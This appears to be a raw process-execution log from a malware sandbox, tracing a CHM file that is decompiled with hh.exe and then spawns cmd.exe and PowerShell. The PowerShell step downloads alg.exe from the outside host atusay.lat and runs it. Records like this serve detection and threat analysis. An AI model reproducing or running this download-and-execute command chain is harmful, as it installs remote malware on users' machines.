cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "HnbFriUQm" C:\Users\test22\AppData\Local\Temp\dbins_secure.chm
2556hh.exe "C:\Windows\hh.exe" -decompile C:\Users\Public\Libraries C:\Users\test22\AppData\Local\Temp\dbins_secure.chm
2988cmd.exe "C:\Windows\System32\cmd.exe" /c powershell iwr -outf C:\Users\test22\AppData\Local\Temp\alg.exe https://atusay.lat/kxydo & start C:\Users\test22\AppData\Local\Temp\alg.exe
2116powershell.exe powershell iwr -outf C:\Users\test22\AppData\Local\Temp\alg.exe https://atusay.lat/kxydo
2176